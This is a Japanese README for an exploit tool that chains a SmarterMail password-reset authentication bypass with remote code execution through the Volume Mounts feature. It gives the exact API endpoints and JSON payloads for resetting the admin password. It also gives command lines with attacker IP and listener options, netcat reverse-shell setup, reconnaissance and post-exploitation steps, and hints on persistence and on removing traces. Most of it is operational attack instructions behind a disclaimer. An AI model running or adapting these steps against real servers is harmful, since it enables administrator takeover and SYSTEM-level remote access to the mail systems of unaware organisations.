CVE-2025-52691 / WT-2026-0001 SmarterMail エクスプロイト

🚨 重要なお知らせ

このツールは、許可されたセキュリティテストおよび教育目的のみに使用してください!

• 無許可での使用は違法であり、非倫理的です
• 明示的な許可があるシステムでのみ使用してください
• 使用は自己責任です
• 利用者は適用されるすべての法律の遵守に責任があります

---

📋 概要

このエクスプロイトは、SmarterMail の 2 つの重大な脆弱性を組み合わせたものです:

1. CVE-2025-52691: ファイルアップロードによる事前認証リモートコード実行
   • CVSS スコア: 10.0 (Critical)
   • 影響を受けるバージョン: Build 9406 以前、Build 16.3.6989.16341 以前
   • 修正バージョン: Build 9413 以降

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

2. WT-2026-0001: パスワードリセットによる認証バイパス
   • CVE-ID 未割り当て
   • 影響を受けるバージョン: Build 9510 まで
   • 修正バージョン: Build 9511 (2026年1月15日)

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

攻撃ベクトル

このエクスプロイトは 3 段階の攻撃を実行します:

1. フェーズ 1: WT-2026-0001 による認証バイパス

   • 古いパスワードの検証なしに管理者パスワードを変更

2. フェーズ 2: 新しいパスワードで管理者ログイン

   • SmarterMail Web インターフェースに認証

3. フェーズ 3: Volume Mounts 機能による RCE

   • リバースシェルコマンドを含む Volume Mount を作成
   • SYSTEM 権限で OS コマンドを実行

---

前提条件

システム要件

• Python 3.6+
• Netcat (nc)
• curl
• Linux/macOS/Windows (WSL)

インストール手順

# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip

# macOS
brew install python3

# Windows (WSL)
wsl --install

# Install netcat
# Ubuntu/Debian
sudo apt install netcat

# macOS
brew install netcat

# Windows (WSL)
sudo apt install netcat-traditional

依存関係のインストール

# Python dependencies (if needed)
pip3 install requests

---

クイックスタート

方法 1: 自動セットアップ (推奨)

# Make executable
chmod +x run_exploit.sh

# Automated setup
./run_exploit.sh --auto

# Or interactive setup
./run_exploit.sh

方法 2: 直接実行

# Setup listener (in one terminal)
nc -lvnp 4444

# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

方法 3: すべてのオプションを指定

python3 exploit.py \
  -H http://192.168.1.100 \
  -P 9998 \
  -A 192.168.1.50 \
  -p 4444 \
  -d \
  --admin-username admin \
  --new-password "MySecurePassword123!"

---

詳細な手順

ステップ 1: 準備

1. ターゲットの特定

   # Check target host
   curl -I http://192.168.1.100:9998
   
   # Identify SmarterMail version
   # (Usually in login page or HTTP headers)
   

2. リスナーの設定

   # In Terminal 1: Start listener
   nc -lvnp 4444
   
   # The listener must be running before the exploit is executed
   

3. ネットワークの検証

   # Ensure connection between attacker and target is possible
   ping 192.168.1.100
   nc -zv 192.168.1.100 9998
   

ステップ 2: エクスプロイトの実行

# With the runner script (recommended)
./run_exploit.sh

# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

ステップ 3: エクスプロイト後

1. シェル接続

   # In the listener terminal, a connection should now appear
   # You should have a SYSTEM shell
   

2. アクセスの確認

   # In the obtained shell
   whoami
   hostname
   ipconfig /all  # Windows
   ifconfig       # Linux
   

3. 持続的なアクセス

   # Optional: Set up persistence
   # Windows: Install as service
   # Linux: Cron job or systemd service
   

---

🔧 設定オプション

Exploit.py パラメータ

パラメータ	説明	デフォルト値
-H, --host	ターゲットホスト (必須)	-
-P, --port	ターゲットポート	9998
-A, --attacker-ip	リバースシェル用の攻撃者 IP (必須)	-
-p, --attacker-port	リバースシェル用の攻撃者ポート (必須)	-
-d, --debug	デバッグモードを有効にする	False
--admin-username	管理者ユーザー名	admin
--new-password	新しい管理者パスワード	NewPassword123!@#

Run_Exploit.sh パラメータ

パラメータ	説明
-t, --target	ターゲットホスト
-p, --port	ターゲットポート
-a, --attacker-ip	攻撃者 IP
-l, --listener-port	リスナーポート
-n, --new-password	新しい管理者パスワード
-u, --admin-user	管理者ユーザー名
-d, --debug	デバッグモード
--auto	自動モード

---

使用例

例 1: 基本的な使用方法

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

例 2: カスタム認証情報を使用

python3 exploit.py \
  -H https://mail.company.com \
  -P 443 \
  -A 10.0.0.1 \
  -p 8080 \
  --admin-username administrator \
  --new-password "ComplexPassword123!@#"

例 3: デバッグモード

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

例 4: 自動セットアップ

./run_exploit.sh --auto

---

技術的な詳細

フェーズ 1: 認証バイパス

エンドポイント: POST /api/v1/auth/force-reset-password

ペイロード:

{
  "IsSysAdmin": "true",
  "OldPassword": "dummy",
  "Username": "admin",
  "NewPassword": "NewPassword123!@#",
  "ConfirmPassword": "NewPassword123!@#"
}

成功時のレスポンス:

{
  "success": true,
  "resultCode": 200,
  "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}

フェーズ 2: 管理者ログイン

エンドポイント: POST /api/v1/auth/login

ペイロード:

{
  "username": "admin",
  "password": "NewPassword123!@#"
}

フェーズ 3: Volume Mounts による RCE

エンドポイント: POST /api/v1/settings/volume-mounts

ペイロード:

{
  "name": "random_volume_name",
  "path": "C:\\Temp\\random_volume_name",
  "command": "powershell reverse shell command",
  "enabled": true,
  "type": "command"
}

---

トラブルシューティング

一般的な問題

1. ポートがブロックされている

# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998

2. リスナーに到達できない

# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444

3. 認証に失敗した

# Error: "Login failed"
# Solution: Check target version (must be vulnerable)

5. RCE に失敗した

# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system

デバッグモード

詳細な出力のためにデバッグモードを有効にします:

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

---

⚠️ セキュリティに関する注意事項

法的側面

• 許可されたテストのみを実施してください
• 書面による許可を取得してください
• 現地の法律への準拠を確保してください
• 本番システムでのテストは行わないでください

セキュリティ上の注意

1. テスト環境: 常に管理された環境でテストしてください
2. ターゲットの検証: ターゲットがテストシステムであることを確認してください
3. ネットワークの分離: テストシステムを本番ネットワークから分離してください
4. ドキュメント化: すべてのテストを記録してください
5. クリーンアップ: テスト後にすべての痕跡を削除してください

責任ある使用

• 損害を与えないでください
• データを盗んだり改ざんしたりしないでください
• システムを無効化しないでください
• 関係者に対して透明であること

---

アップデートとメンテナンス

バージョン情報

• v1.0: 完全な機能を備えた初版
• 今後のアップデート: エラーハンドリングと安定性の改善

🙏 謝辞

• watchTowr Labs による最初の研究
• セキュリティ研究コミュニティ によるサポート
• 改善に貢献したすべての方々

---

⚠️ 覚えておいてください: 大きな力には大きな責任が伴います!